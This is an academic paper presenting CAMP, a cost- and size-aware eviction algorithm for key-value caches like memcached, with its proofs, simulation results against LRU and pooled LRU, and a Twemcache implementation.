Cost Adaptive Multi-queue eviction Policy (CAMP) is an algorithm for a general purpose key-value store (KVS) that manages key-value pairs computed by applications with different access patterns, key-value sizes, and varying costs for each key-value pair. CAMP is an approximation of the Greedy Dual Size (GDS) algorithm that can be implemented as efficiently as LRU. In particular, CAMP’s eviction policies are as effective as those of GDS but require only a small fraction of the updates to an internal data structure in order to make those decisions. Similar to an implementation of LRU using queues, it adapts to changing workload patterns based on the history of requests for different key-value pairs. It is superior to LRU because it considers both the size and cost of key-value pairs to maximize the utility of the available memory across competing applications. We compare CAMP with both LRU and an alternative that requires human intervention to partition memory into pools and assign grouping of key-value pairs to different pools. The results demonstrate CAMP is as fast as LRU while outperforming both LRU and the pooled alternative. We also present results from an implementation of CAMP using Twitter’s version of memcached.
1 Introduction
Applications with a high read-to-write ratio augment their persistent infrastructure with an in-memory key-value store (KVS) to enhance performance. An example is memcached in use by popular Internet destinations such as Facebook, Twitter, and Wikipedia. Using a general purpose caching layer requires workloads to share infrastructure despite different access patterns, key-value sizes, and time required to compute a key-value pair [21]. An algorithm that considers only one factor may cause different application workloads to impact one another negatively, decreasing the overall effectiveness of the caching layer.
* Sandy Irani and Jenny Lam are with the University of California, Irvine. Their research is supported in part by the NSF grant CCF-0916181.
† A shorter version of this paper appeared in the Proceedings of the ACM/IFIP/USENIX Middleware Conference, Bordeaux, France, December 2014.
As an example, consider two different applications of a social networking site: one shows the profile of members while a second determines the displayed advertisements. There may exist millions of key-value pairs corresponding to different member profiles, each computed using a simple database look-up that executed in a few milliseconds. The second application may consist of thousands of key-value pairs computed using a machine-learning algorithm that processed Terabytes of data and required hours of execution. This processing time is one definition of the cost of a key-value pair. With a limited memory size and a high frequency of access for member profile key-value pairs, a simple algorithm that manages memory using recency of references (LRU) may evict most of the key-value pairs of the second application, increasing the incurred cost.
In general, reducing the incurred cost translates into a faster system that processes a larger number of requests per unit of time and may provide a better quality of service. The latter is due to availability of data (e.g., cache hit for a key-value computed using the machine learning algorithm) that enables the application to provide a user with more relevant content than content selected randomly. A possible approach is for a human expert to partition the available memory into disjoint pools with each pool managed using LRU. Next, the expert groups key-value pairs with similar costs together and assigns each group to a different pool [18]. With our example, the expert would construct two pools. One for the key-value pairs corresponding to members profiles and a second corresponding to advertisements. The primary limitation of this approach is that it requires a human familiar with the different classes of applications to identify the pools, construct grouping of key-value pairs, and assign each group to a pool. Over time, the service provider may either introduce a new application or discontinue an existing one. This means the human expert must again become involved to identify the pool for the key-value pairs of the new application and possibly rebalance memory across the pools once an application is discontinued.
This paper introduces a novel caching method called Cost Adaptive Multi-queue eviction Policy (CAMP), that manages the available memory without partitioning it. CAMP is an approximation of the Greedy Dual Size (GDS) algorithm [4] that processes cache hits and misses more efficiently using queues. Hence, it is significantly faster than GDS and as fast as LRU. It is novel and different from LRU in that it constructs multiple LRU queues dynamically based on the size and cost of key-value pairs. The number of constructed LRU queues depends on the distribution of costs and sizes of the key-value pairs. CAMP manages these LRU queues without partitioning memory. Thus, there is no need for human involvement to construct groups of key-value pairs, dictate assignment of groups to the pools, or configure and adjust the memory pool characteristics. CAMP is robust enough to prevent an aged expensive key-value pair from occupying memory indefinitely. Such a key-value pair is evicted by CAMP as competing applications issue more requests.
CAMP is parameterized by a variable that controls its precision. At the highest precision, CAMP’s eviction decisions are essentially equivalent to those made by GDS. Our empirical results show that CAMP does not suffer any degradation in the quality of its eviction decisions at lower precisions. Moreover, it is able to make those decisions much more efficiently than GDS. GDS requires an internal priority queue to determine a key-value pair to evict.
\[^1\]Partitioning is known to reduce the utilization of resources by resulting in formation of hot spots and bottlenecks. One may address this limitation by over-provisioning resources.
from the cache. The time to maintain its data structures consistent in a thread-safe manner is expensive because it requires synchronization primitives [12] with multiple threads performing caching decisions. Moreover, CAMP performs a significantly fewer updates of its internal data structures than GDS, reducing the number of times it executes the thread-safe software dramatically.
The rest of this paper is organized as follows. Section 2 starts with a description of GDS to motivate CAMP and details its design decisions. Section 3 presents a simulation study of CAMP and compares it with LRU and the pooled approach that partitions resources, demonstrating its superiority. Section 4 describes an implementation of CAMP using a variant of Twemcache and compares this implementation with the original that uses LRU. Obtained results demonstrate that CAMP is as fast as LRU and provides superior performance as it considers, in addition to recency of requests, the size and the cost of the key-value pairs. Section 5 describes related work. Section 6 provides brief words of conclusions and future research directions.
2 CAMP
The algorithm Greedy Dual Size (GDS) was developed in the context of replacement policies for web proxy caches. It captures many of the benefits of LRU and considers the fact that data objects on the web have varying sizes and incur varying time delays to retrieve depending on their location and network traffic [4]. The same principles apply in the context of maintaining the identity of key-value pairs occupying the memory of a KVS, although the cost of an object in the KVS setting may denote computation time (or some other quantity) instead of retrieval time. Even though the algorithm is applicable to a wide variety of settings, we adopt the terminology used for cache augmented database management systems [9]. The GDS algorithm is based on an algorithm called Greedy Dual, developed by Neal Young [23], that handles objects of varying cost but uniform size. GDS assigns a value \( H(p) \) to each key-value pair \( p \) in the KVS. \( H(p) \) is computed from a global parameter, \( L \), as well as from \( \text{size}(p) \), the size of \( p \) and \( \text{cost}(p) \), the cost of \( p \). The value of \( H(p) \) approximates the benefit of having that key-value in the KVS. When there is insufficient memory to accommodate an incoming key-value pair, the algorithm continually evicts the key-value pair with the lowest value until there is room in the KVS to store the incoming key-value pair.
The pseudocode for GDS is given in Algorithm 1. The following proposition is useful in understanding how the algorithm works:
**Proposition 1**
1. \( L \) is non-decreasing in time.
2. If \( p \) is in the KVS, then \( L \leq H(p) \leq L + \text{cost}(p)/\text{size}(p) \).
**Proof:** We prove the claim by induction on the number of requests. At the beginning of the request sequence, there are no key-value pairs in the KVS, so both claims are true. In lines 2 and 6, the value of \( L \) is set to be the smallest \( H \)-value among all the key-value pairs in the KVS. Since, by induction, for every key-value pair \( p \) in the cache, \( L \leq H(p) \), \( L \) can only increase or stay the same after the change. Lines 2 and lines 6 are the only time that \( L \) changes, so the first claim must hold.
For claim 2, \( L \) will not exceed \( H(p) \) for any \( p \) in the cache because its new value (assigned
Algorithm 1 GreedyDualSize.
Initialize $L \leftarrow 0$.
Process each request for key-value pairs in turn. The current request is for key-value pair $p$:
1. if $p$ is already in memory (denoted by $M$),
2. $L \leftarrow \min_{q \in M \setminus \{p\}} H(q)$.
3. else,
4. while there is not enough room in memory for $p$,
5. Evict the $q$ with the smallest $H(q)$.
6. $L \leftarrow \min_{q \in M} H(q)$.
7. Bring $p$ into memory.
8. $H(p) \leftarrow L + \text{cost}(p)/\text{size}(p)$.
Figure 1: A heap used in a straightforward manner (1a) contains many more nodes than the heap in CAMP’s LRU-heap hybrid (1b) when there are only a few distinct cost-to-size ratios.
in line 2 or 6) is the smallest $H(p)$ among all the key-value pairs in the cache. Any eviction performed in line 5 only makes it easier to satisfy claim 2. Finally, when a key-value pair is brought into the KVS, it’s $H$ value is set to $L + \text{cost}(p)/\text{size}(p)$ so the claim 2 still holds by definition.
Consider a key-value pair $p$ in the KVS. As more key-value pairs are referenced (i.e., $p$ becomes requested less recently), the value of $L$ increases and $H(p)$ becomes smaller relative to the other key-value pairs in the KVS. If $p$ is requested while it is in the KVS, then $H(p)$ increases to $L + \text{cost}(p)/\text{size}(p)$ which has the effect of delaying its eviction. All other things being equal, if a key-value pair has a cost-to-size ratio, i.e., the quantity $\text{cost}(p)/\text{size}(p)$, that is $c$ times that of another key-value pair, it will reside in the KVS roughly $c$ times longer. GDS exhibits good performance under a variety of different load conditions because it considers both varying costs and sizes without resorting to ad hoc categorization of key-value pairs.
An implementation of GDS must maintain a data structure to identify and delete the key-
value pair with the minimum priority efficiently. Typically, key-value pairs are maintained in a data structure that can retrieve and delete the key-value pair with the minimum priority. Normally this is accomplished by an implementation of a priority queue like a Fibonacci heap \cite{5}. The worst-case performance of any priority queue is a \( \log n \) cost per operation, where \( n \) is the number of key-value pairs in the priority queue. For extremely large KVSs, such as those in use by Facebook and Twitter, overhead that scales even logarithmically as a function of the number of key-value pairs in the KVS results in a significant cost that could potentially be avoided.
The starting point for this work is the observation that the \( H \) value assigned to each key-value pair in the KVS is merely an approximation for the value of storing that key-value pair in the KVS in the absence of information about when that key-value pair will be requested next in the future relative to the other key-value pairs in the KVS. Insisting that the priority queue evict the key-value pair with the absolute minimum value is likely overkill. It seems reasonable that a similar KVS hit performance can be achieved if we only require that the data structure evict a key-value pair whose priority is only approximately smallest. An approximate priority queue could potentially be more efficient than one that is required to return the true minimum.
With GDS, the priority or \( H \) value (the two terms will be used interchangeably) of every key-value pair in the KVS is the sum of two values: the global non-decreasing variable \( L \) and the cost-to-size ratio of the key-value pair. CAMP rounds the priority for every key-value pair by rounding the cost-to-size ratio before adding it to \( L \). The rounding scheme results in a smaller set of possible cost-to-size values for key-value pairs stored in the KVS. CAMP takes advantage of the rounding by grouping the key-value pairs in its data structure according to the cost-to-size ratio instead of by priority value. The eviction decisions between CAMP and GDS differ slightly for two reasons. First, CAMP rounds the cost-to-size ratio in determining the \( H \) value of a key-value pair. Second, in evicting the key-value pair with smallest priority, CAMP breaks ties according to LRU, whereas GDS breaks ties arbitrarily.
Figure 1 shows the storage schemes for GDS and CAMP, with each circle denoting the \( H \) value of a key-value pair. Figure 1a shows a typical priority-queue-based implementation of GDS in which a set of key-value pairs are stored in a heap\(^2\) based on their priority value. Figure 1b shows CAMP’s data structure in which key-value pairs are grouped into queues according to their cost-to-size ratio. Key-value pairs in a queue are ordered according to their priority which is their \( H \) value. CAMP maintains a heap containing the priority of the data item at the head of every queue. Thus, to identify a candidate key-value pair to evict from the KVS, CAMP locates the key-value pair with the smallest priority among the heads of each of the queues.
CAMP’s implementation is efficient based on the following key observation. If the key-value pairs within each queue are stored according to LRU, then the key-value pairs are automatically ordered according to their priority. For this reason, the queues maintained by CAMP are termed LRU queues. To understand why this observation holds, recall that all the items within an LRU queue have the same cost-to-size ratio. Furthermore, the \( H \) value of a key-value pair is the value of \( L \) at the time of its last request plus its cost-to-size ratio.
\(^2\)A heap is a tree-based implementation of a priority queue which maintains the property that the priority of any node in the tree is at most the priority of its children.
ratio. Since $L$ increases over time, a key-value pair that is requested earlier on will have a smaller $H$ value and appear towards the front of the queue, whereas a key-value pair that is referenced more recently will have a larger $H$ value and appear towards the end of the queue. In particular, the first key-value pair in each queue has the smallest priority.

**Figure 2:** An LRU queue within CAMP.
As an example, consider the LRU queue in Figure 2 which is one of the five queues shown in Figure 1b. It points to the array value 11, containing all the key-value pairs that have cost-to-size ratio 11. Each node shows the key-value pair’s $H$ value, and the shown $L$ value is the value of $L$ at the time of its last request. Since $L$ increases over time and key-value pairs are inserted at the tail of the queue, key-value pairs are ordered by the value of $L$ at the time of the request. Since all these key-value pairs have similar cost-to-size values, they are also ordered by their $H$ value. Specifically, $a$ is the least recently requested key-value pair in its queue.
With CAMP, the complexity of processing a KVS hit for a referenced key-value pair is the complexity to update the LRU queue ($O(1)$) plus the complexity to update the heap. The worst case for the latter is logarithmic in the number of non-empty queues instead of the number of key-value pairs in the KVS since the nodes in the heap tree structure of CAMP identify LRU queues, see Figure 1b. With our implementation of CAMP, we chose to use an 8-ary implicit heap as suggested by the recent study [13] on priority queues. Here, 8-ary means with branching factor at most 8. Moreover, a heap is implicit if it uses the usual array implementation rather than with pointers.
To illustrate the processing of a KVS hit using the same running example of Figure 1, consider a new reference for $g$. The KVS locates $g$ using a hash table (Figure 3a), moves it to the end of its LRU queue (see Figure 3b), and updates its value to $10 + 2 = 12$ where 10 is the minimum priority ($L$ value) and 2 is the cost-to-size ratio of $g$. Now, the new head of the queue has priority 12. CAMP updates the value of the heap node pointing to this queue (Figure 3c), causing the heap to be updated as shown in Figure 3d.
One way to improve performance is by limiting the number of LRU queues. We can do so by assigning key-value pairs with “similar” cost-to-size values to the same queue. Similarity in this context has a specific meaning, in that values that have different orders of magnitude should remain distinct. Therefore, a rounding scheme that simply truncates a fixed number of bits will not work. Instead, CAMP uses the integer rounding scheme described in [16].
Given a number $x$, let $b$ be the order of its highest non-zero bit. To round $x$ to precision $p$, zero out the $b - p$ lower order bits or, in other words, preserve only the $p$ most significant bits starting with $b$. If $b \leq p$, then $x$ is not rounded. Table 1 illustrates the difference between these rounding schemes with examples. With regular rounding, too much information is kept for large values and too little information is kept for small values. Since we don’t know the range of values \textit{a priori}, we don’t know how to select $p$ to balance the two extremes. Therefore, we prefer the amount of rounding to be proportional to the size of the value itself.
Figure 3: CAMP update on a KVS hit. If $g$ is requested (3a), it is moved to the back of its queue (3b), and the heap is updated accordingly (3c and 3d).
Table 1: Rounding with (binary) precision 4
<table>
<thead>
<tr>
<th>Regular Rounding</th>
<th>CAMP’s Rounding</th>
</tr>
</thead>
<tbody>
<tr>
<td>101101011 → 101100000</td>
<td>101101011 → 101100000</td>
</tr>
<tr>
<td>001010011 → 001010000</td>
<td>001010011 → 001010000</td>
</tr>
<tr>
<td>000001010 → 0000000000</td>
<td>000001010 → 000001000</td>
</tr>
<tr>
<td>000001111 → 0000000000</td>
<td>000001111 → 000000111</td>
</tr>
</tbody>
</table>
The following proposition gives a bound on the number of distinct rounded values for the cost-to-size ratio which in turn is an upper bound on the number queues maintained by CAMP:
**Proposition 2** If the original values for the cost-to-size ratio are integers in the range \(1, \ldots, U\), then the number of distinct rounded values is at most \(\lceil \log_2(U + 1) \rceil - p + 1\), where \(p\) is the selected precision.
**Proof:** Let \(x\) denote the value to be rounded. Since \(x\) is in the range 1 through \(U\), the binary representation of \(x\) uses at most \(\lceil \log_2(U + 1) \rceil\) bits. Bit locations are numbered 1 through \(\lceil \log_2(U + 1) \rceil\) with 1 being the lowest order bit. Let \(b\) be the number of possible values for \(x\). There are at most \(\lceil \log_2(U + 1) \rceil - p + 1\) possible values for \(b\). For each value of \(b\), there are \(2^p\) possible rounded values encoded in bits \(b, b - 1, \ldots, b - p + 1\). Thus, the total number of distinct rounded values is \((\lceil \log_2(U + 1) \rceil - p + 1)2^p\).
The competitive ratio of GDS is \(k\) which means that on every sequence of requests, the overall cost of GDS is within a factor of \(k\) of the optimal algorithm that knows the entire request sequence in advance. The proposition below shows that CAMP with precision \(p\) approximates the behavior of GDS by a factor of \(1 + \epsilon\) where \(\epsilon = 2^{-p+1}\) in the sense that CAMP obtains a competitive ratio of \((1 + \epsilon)k\). Thus, for sufficiently small \(\epsilon\), the data structure would always evict the key-value pair with the true minimum priority.
**Proposition 3** The competitive ratio of CAMP is \((1 + \epsilon)k\), where \(\epsilon = 2^{-p+1}\).
**Proof:** Consider an unrounded integer \(x\) and denote its rounded value by \(\bar{x}\). We know that \(\bar{x} \leq x\) because rounding only involves changing 1’s to 0’s. Let \(b\) be the location of the highest order bit in \(x\). Then \(\bar{x} \geq 2^{b-1}\). Bits 1 through \(b - p\) are set to zero when \(x\) is rounded. In the worst case, the cleared bits are all 1. The amount that is subtracted from \(x\) to get \(\bar{x}\) is at most \(2^{b-p}\). Therefore, \((x - \bar{x})/\bar{x} \leq 2^{b-p}/2^{b-1} = 2^{-p+1}\) and \(x \leq (1 + \epsilon)\bar{x}\), where \(\epsilon = 2^{-p+1}\).
Now let \(\sigma\) be a sequence of requests and let \(\bar{\sigma}\) be the same request sequence but with rounded cost-to-size ratios. Define \(CAMP(\sigma)\) to be the total cost of CAMP on input \(\sigma\) and let \(OPT(\sigma)\) be the total cost of the optimal offline algorithm on input \(\sigma\). CAMP makes the same eviction decisions on \(\sigma\) as it does on \(\bar{\sigma}\) because it rounds the cost-to-size ratios in \(\sigma\). However, it pays potentially a factor of \((1 + \epsilon)\) more on each cache miss. Therefore \(CAMP(\sigma)/(1 + \epsilon) \leq CAMP(\bar{\sigma})\). CAMP makes the same decisions as GDS on \(\bar{\sigma}\) because the values are already rounded, so \(CAMP(\bar{\sigma}) = GDS(\bar{\sigma})\). Since we know that GDS is \(k\)-competitive, \(GDS(\bar{\sigma}) \leq kOPT(\bar{\sigma})\). Finally, OPT will have at least as large an overall cost on \(\sigma\) as it will on \(\bar{\sigma}\) because all the cost-to-size ratios are at least as large which means that
\( OPT(\sigma) \leq kOPT(\sigma) \). Putting it all together, we get
\[
\frac{CAMP(\sigma)}{1 + \epsilon} \leq CAMP(\bar{\sigma}) = GDS(\bar{\sigma}) \leq k \cdot OPT(\bar{\sigma}) \leq k \cdot OPT(\sigma),
\]
and CAMP is \((1 + \epsilon)k\)-competitive.
To use the integer rounding scheme we have described, we must first convert the cost-to-size ratio from a fraction to an integer. We cannot simply round since we may lose information regarding the relative order of magnitude among values that are less than 1. We can solve this problem by first dividing the cost-to-size ratio by a lower bound estimate on the smallest cost-to-size ratio that can ever occur. Then we perform the actual rounding to the nearest integer. The cost of each key-value pair is a non-negative integer, so 1 divided by the maximum size of any key-value pair can serve as a lower bound for the cost-to-size ratio. Thus, we are effectively multiplying each cost-to-size ratio by the size of the largest key-value pair. Although we do not know the maximum size of a key-value pair \textit{a priori}, we can determine it adaptively. (The next paragraph describes why we do not simply use a large number such as the cache size.) A variable is used to hold the current maximum size observed so far. The variable is updated as soon as a referenced key-value pair is larger than the current maximum. For the sake of efficiency, we do not update the rounded priorities of all the key-value pairs in the KVS when a new lower bound on the cost-to-size ratio is determined. However, the new value is used for all future rounding.
The rounding scheme makes \textit{no a priori} assumptions as to the values of the cost-to-size ratios other than assuming that the ratio of the smallest to largest cost/size ratio is bounded by \( U \). Converting all values to an integer is just a mathematically convenient way of expressing that assumption. The goal is to use the range 1 to \( U \) as effectively as possible in expressing the range of cost-to-size ratios. The larger the value of \( U \), the more space that must be set aside for potential LRU queues. The conversion from fractional values to integers is achieved by multiplying all values by a fixed multiplier and rounding to the nearest integer. Selecting a large number for the multiplier would result in large rounded values and would require a large upper bound \( U \). This explains why we do not simply use the cache size for the multiplier.
In short, CAMP computes the \( H \) value of a key-value pair in three steps. As the initial step, it converts the cost-to-size ratio to an integer. It then rounds the result by the pre-specified precision to an approximate value \( c \). Finally, it assigns the key-value pair to the LRU queue associated with the value \( c \). The key-value pair is assigned an \( H \) value of \( c + L \), where \( L \) is the offset parameter used by GDS.
Figure 4 compares the number of visited heap nodes in a heap-based implementation of GDS and in CAMP when run using the trace-driven simulation of Section 3. This quantity is an indication of the amount of runtime overhead of each implementation: in the case of GDS, this is the number of nodes that are visited when the heap is updated due to an insertion or deletion. In the case of CAMP, insertions and deletions from the queue comprise a constant time update to an LRU queue as well as the occasional update to the heap when the head of an LRU queue changes.
There are two contributing factors to CAMP’s significantly smaller number of node visits. First, the number of nodes in GDS’s heap is equal to the number of key-value pairs in cache
whereas the number of nodes in CAMP’s heap is equal to the number of non-empty LRU queues, which is very small as noted in Figure 5b. Since the number of node visits required by a heap update grows logarithmically with the number of nodes in the heap, GDS’s heap updates can take longer than CAMP’s. The second contributing factor is that GDS makes more heap updates than CAMP does. In particular, GDS updates its heap every time the priority of a key-value pair is updated. On the other hand, CAMP only does so whenever the priority value of the head node of an LRU queue changes, or when an LRU queue is created or deleted.
Figure 4 shows the number of visited nodes by GDS increases as a function of the memory size. This trend is reversed with CAMP. The GDS curve increases because the number of nodes in the heap is equal to the number of items in the KVS and there are many more data items with a larger memory size. In contrast, the CAMP curve decreases because the number of heap nodes, which is equal to the number of non-empty LRU queues, remains constant as a function of cache size. But since more items can be stored when the cache size increases, there are fewer updates to the cache. Hence, the decreasing curve.
3 Evaluation
We used a social networking benchmark named BG [1, 2, 6, 7] to generate traces of key-value references from a cache augmented database management system [9]. BG emulates members of a social networking site viewing one another’s profile, listing their friends, and other interactive actions. The benchmark is configured to reference keys using a skewed pattern of access with approximately 70% of requests referencing 20% of keys. A trace file consists of approximately 4 million rows. Each row identifies a referenced key-value pair, its size, and cost. Cost is either the time required to compute the key-value pair by issuing queries to the RDBMS or a synthetic value selected from \{1, 100, 10K\}\(^3\). With the latter, each key-value pair is assigned one of the three possible values with equal probability. Once a cost is assigned to a key-value pair, it remains in effect for the entire trace.
We implemented a simulator that consists of a KVS and a request generator to read a trace file and issue requests to the KVS. The KVS manages a fixed-size memory that implements either the LRU or the CAMP algorithm. Every time the request generator references a key and the KVS reports a miss for its value, the request generator inserts the missing key-value
\(^3\)The values \{1, 100, 10K\} were chosen to simulate widely varying costs between key-value pairs.
pair in the KVS. This results in evictions when the size of the incoming key-value pair is larger than the available free space.
The simulator quantifies two key metrics: miss rate and cost-miss ratio. Miss rate is the total number of requests that result in a KVS miss divided by the total number of requests in the sequence. Cost-miss ratio is obtained by summing the costs for each request that results in a KVS miss divided by the sum of the costs for all the requests. With both, the first request to a particular key-value pair in the trace (called a cold request) is not counted because any algorithm will fault on such requests. Since CAMP is tuned to minimize the total cost of serving the requests in the sequence, the cost-miss ratio is the primary metric used to quantify performance. In the following, we report these metrics as a function of either the precision used by the CAMP algorithm or the cache size ratio. The latter is the size of the KVS memory divided by the total size of the unique objects in the trace file.
The precision of CAMP is a parameter that can be tuned for performance optimization. Small values of precision result in fewer LRU queues. With larger values of precision, replacement decisions are more finely tuned to differences in the cost-to-size ratio for each key-value pair. The graph in Figure 5a shows the cost-miss ratio for CAMP as a function of the precision value. The three curves show the results for three different cache sizes. For the version labeled $\infty$, no rounding is done after the initial cost-to-size ratio is rounded to an integer. In other words, this version corresponds to the standard GDS algorithm. Figure 5a shows that there is almost no variation in cost-miss ratios for different precisions. More importantly, there is almost no difference between the cost-miss ratios of CAMP and standard GDS.
Figure 5b shows the number of distinct LRU queues maintained by CAMP as a function of precision. The maximum number of queues possible is the number of distinct possible values for the cost-to-size ratio of the key-value pairs for a particular precision value. However, the KVS may not hold a key-value pair with a particular cost to size value, so at any given point in time, many of the queues are empty. Figure 5b shows the actual number of non-empty queues at the end of the trace. Even for a very low level of precision, CAMP has at least five non-empty queues and outperforms LRU that has only one queue, see Figure 5c.
In Figure 5c, Pooled LRU is the partitioned-memory scheme described in [18]. This approach partitions the available memory into distinct pools. Each pool employs LRU to manage its memory. Those key-value pairs with similar costs are grouped together according to their cost. Different groups are assigned to different pools so that cheap and expensive key-value pairs do not compete with one another for the same memory. This is not the same as CAMP, which adjusts the amount of memory used by each queue automatically, as demand fluctuates.
To give Pooled LRU the greatest advantage, the amount of memory for each queue is computed in advance using the frequency of references to the different key-value pairs over the entire trace. We experimented with different ways to partition the memory. In the first way, memory is allocated uniformly between the three queues. In the second way, the fraction of the total available memory assigned to each queue is proportional to the total cost of requests in the trace that belong to a particular pool.
With the BG benchmark-generated trace using synthetic cost values selected from $\{1, 100, 10K\}$, Pooled LRU constructs three pools. These pools have approximately the same number of key-value pairs, frequency and size, where the frequency of a pool is the number of
Figure 5: Simulation results with one trace and cost values selected from 1, 100, 10K. With 5c and 5d, the precision of CAMP is set to 5.
references made to key-value pairs in that pool and the size is the amount of memory needed to store all key-value pairs in that pool. With a uniform partitioning of memory, Pooled LRU has both a cost-miss ratio and miss rate similar to LRU. This is a consequence of the key-value pairs assigned to each pool having the same frequency and size. The performance is so close, that we only display the cost-miss ratio for LRU in Figure 5c. When memory is partitioned using cost, Pooled LRU improves over LRU’s cost-miss ratio. Furthermore, it is able to match CAMP’s cost-miss ratio when given a large enough cache size by assigning practically all of it to the most expensive pool. However, this improvement is at the expense of a significantly worse miss rate (see Figure 5d), since, even with a large cache size, the cheapest pool has nearly a 100% miss rate and the second pool has a miss rate of 65%.
3.1 Evolving Access Patterns
A key feature of CAMP is its ability to adapt to evolving access patterns by evicting those key-value pairs that were hot in some distant past. This includes expensive key-value pairs. Obtained results show CAMP adapts effectively when compared to LRU and Pooled LRU. Moreover, the overall cost-miss ratio and miss rate trends remain the same as the results of Figure 5.
In this experiment, we used ten different traces back to back. Each trace file consists of
4 million key-value references. Moreover, requests from different traces are given distinct identification, so any request from a given trace file will never be requested again after that trace. The trace files are identified as Trace File 1, TF1, Trace File 2, TF2, etc. They are adversarial to CAMP because each trace file is generated using a skewed distribution of access as described at the beginning of this section. This means once the simulator switches from TF1 to TF2, none of the objects referenced by TF1 are referenced again. The same holds true for all other trace files, emulating a sudden shift in access patterns where expensive objects that were referenced frequently are never referenced again.
We conducted the above experiment for a variety of cache sizes and observe CAMP adapts across the different trace files to provide a cost-miss ratio and miss rate similar to those observed in the previous section, see Figure 6a and 6b. Figures 6c and 6d show the fraction of KVS memory occupied by the key-values of TF1 for two different KVS memory size ratios, 0.25 and 0.75. These two figures show how well the different techniques adapt to the sudden change in access patterns. The x-axis of these two figures it the number of key-value references issued relative to the start of TF2 in millions of requests. The transition to a different TF is at the 4 million tick mark of the x-axis. The y-axis shows the fraction of KVS memory size occupied by key-value pairs of TF1.
With a small cache size (see Figure 6c with a cache size ratio of 0.25), all three algorithms evict key-value pairs referenced by TF1 quickly. LRU is the quickest, evicting all key-value pairs of TF1 after 21,000 references of TF2. It is followed by Pooled LRU with 131,000 references of TF2. CAMP evicts most of TF1 key-value pairs quicker than Pooled LRU and slower than LRU. It does not evict all TF1 key-value pairs (those with the highest cost-to-size ratio) until 7.7 million references, close to the end of TF3. However, these items occupy less than 2% of the total cache size.
With a larger cache size (see Figure 6d with a cache size ratio of 0.75), both CAMP and Pooled LRU behave in a step function with CAMP evicting a majority of TF1 key-value pairs faster than Pooled LRU. Once again, LRU is quickest as it considers recency of references. Pooled LRU evicts all key-value pairs referenced by TF1 after 7.3 million requests are issued, close to the end of TF3. CAMP maintains a few of the most expensive key-value pairs of TF1 even after 40 million requests are issued. However, these occupy less than 0.6% of the available KVS memory.
Let us analyze the behavior of each algorithm. LRU evicts the key-value pairs requested in TF1 when the total size of newer key-value pairs is greater than the cache size, which occurs before the transition to TF3 regardless of cache size. The jump in eviction time at cache size ratio 1 corresponds to the fact that the key-value pair that causes the total size of requested key-value pairs to exceed the cache size is the first key-value pair requested in TF3.
The sudden eviction of large portions of TF1 key-value pairs by Pooled LRU at large cache sizes (see Figure 6c) correspond to the introduction of new key-value pairs at the beginning of TF3 and TF4, which occur at around the 4 millionth and 8 millionth mark. As in the first experiment, Pooled LRU pools key-value pairs by cost, and for a fixed cache size, each pool is allotted a portion of the cache proportional to the cost value. Since the only occurring cost values are 1, 100 and 10K, 99% of the cache is dedicated to the pool of expensive key-value pairs. On the other hand, the expensive key-value pairs from a single TF only occupy a third of the maximum cache size, so that a cache size ratio of 2/3 can store all
expensive key-values from two TFs, and a cache size ratio of 1 can store those of 3 separate TFs. Now the point at which all TF1 key-value pairs are evicted occurs when the total size of the expensive key-value pairs requested in a subsequent TF exceeds the cache size. When the cache size ratio is 1/3 or less, this occurs before the end of TF2 (4 million requests). At a cache size ratio of 2/3 or higher, the eviction time occurs during TF4 (roughly between 8 and 12 million requests).
Finally, CAMP maintains an LRU queue for each cost-to-size ratio, and unlike Pooled LRU, these queues can be resized dynamically. Because key-value pairs requested at a later time can have higher priority of being evicted than those requested earlier, CAMP only guarantees that those requested after TF1 that have the highest cost-to-size ratio will have lower priority than any TF1 request. This observation yields the loose guarantee that all TF1 key-value pairs will be evicted by the time the total size of all newer requested items with the highest cost-to-size ratio reaches the cache size. According to Figure 6d, for a cache size ratio of 0.75, there are cache-resident still key-value pairs from TF1 at the end of the simulation. This is explained by the fact that the highest cost-to-size key-values contribute less than 1/20th of the maximum cache size per TF. Together over the whole trace, these key-value pairs will fit in caches with cache size ratios greater than 0.5. Hence, the condition guaranteeing the eviction of all TF1 items is satisfied with the .25 cache size of Figure 6c and not satisfied with the .75 cache size of Figure 6d.
3.2 Other Traces
The trends reported in Subsection 3.1 hold true with other traces. The most insightful results are obtained with the two possible extremes, namely, variable sized key-value pairs with almost similar costs and equi-sized key-value pairs with varying costs. We describe these in turn.
With variable sized key-value pairs whose cost is identical, CAMP renders small key-value pairs KVS resident, providing a lower miss rate when compared with LRU, see Figure 7. Pooled-LRU constructs one pool and behaves the same as LRU. Because the cost of the key-value pairs is set to 1, the cost-miss ratio of a technique is equal to its miss rate. Hence Figure 7 can also be interpreted as the cost-miss ratio of LRU and CAMP as a function of cache size ratio.
With equi-sized key-value pairs that incur a different cost, CAMP continues to provide a superior cost-miss ratio to both LRU and Pooled-LRU, see Figure 8a. With a limited
Figure 8: Simulation results with equi-sized key-value pairs and variable costs.
amount of memory, CAMP’s miss rate is slightly worse than that of LRU as it favors high cost key-value pairs, see Figure 8b. With Pooled-LRU, we were challenged in determining the size of different pools as there was no clear way to partition the range of different costs. In the original trace where key-value pairs could only have one of three different cost values, items were pooled by their cost value. Here, we opted to pool items by range of cost values. Specifically, the ranges were 1 to 100, 100 to 10,000 and 10,000 and beyond. The available memory was then divided among the three pools in such a way that each pool received an amount proportional to the lowest cost value in its range. With this assignment, Pooled-LRU results in a superior cost-miss ratio with small cache-size ratios. With larger cache size ratios, its partitioning of space makes it inferior to both LRU and CAMP.
In comparison to the trace with three distinct cost values (Figure 5b), the trace with equi-sized key-value pairs has key-value pairs with many more distinct cost values. Therefore, for this trace, CAMP creates a larger number of LRU queues when no rounding takes place, see Figure 8c. This increase is due to the fact that there is a greater number of cost-to-size ratios as a result of the considerably larger set of cost values. With additional rounding, i.e. at lower precision, the number of LRU queues in the two traces decrease significantly and converge without any sizable performance degradation.
4 An Implementation
We implemented CAMP in the IQ Twemcache, a modified version of the Twemcache v2.5.3 [20] that implements the IQ framework [10]. This implementation computes the cost of a key-value pair by noting the timestamp of a miss observed by a get (iqget) and the subsequent insertion of the computed value using a set (iqset). The difference between these two timestamps is used as the cost of the key-value pair.
The approach taken to provide recomputation time is to use the service time to compute a key-value pair (and piggybacked as a part of the KVS put). Application provided hints are another possibility.
CAMP does not need to address the issue of malicious applications with misleading costs, because it is intended for use in a middleware deployed in a trusted environment (data center) with no adversary.
